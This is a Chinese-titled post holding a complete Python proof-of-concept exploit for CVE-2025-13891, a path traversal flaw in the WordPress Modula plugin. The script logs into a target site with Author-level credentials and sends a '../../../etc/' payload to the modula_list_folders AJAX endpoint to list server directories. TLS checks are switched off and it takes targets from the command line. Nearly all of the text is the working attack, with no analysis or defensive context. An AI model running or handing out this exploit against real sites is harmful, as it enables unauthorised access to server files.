CVE-2025-13891 WordPress Modula插件路径遍历漏洞

import requests import sys # CVE-2025-13891 Path Traversal PoC # Target: WordPress site with Modula plugin < 2.13.3 # Endpoint: /wp-admin/admin-ajax.php def exploit_path_traversal(target_url, username, password, file_path='../../../etc/'): """ Exploit the path traversal vulnerability in modula_list_folders AJAX endpoint Args: target_url: Base URL of the WordPress site username: WordPress user with Author+ role password: User password file_path: Path to traverse (default: ../../../etc/) Returns: Server response containing directory listing """ # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } # Perform login resp = session.post(login_url, data=login_data, verify=False) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed!') return None print('[+] Login successful!') # Exploit path traversal via modula_list_folders endpoint exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'modula_list_folders', 'modula': file_path # Path traversal payload } print(f'[*] Sending path traversal request: {file_path}') response = session.post(exploit_url, data=exploit_data, verify=False) return response.text if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print(f'Example: python {sys.argv[0]} http://example.com admin password') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] result = exploit_path_traversal(target, user, pwd) if result: print('\n[+] Response:') print(result)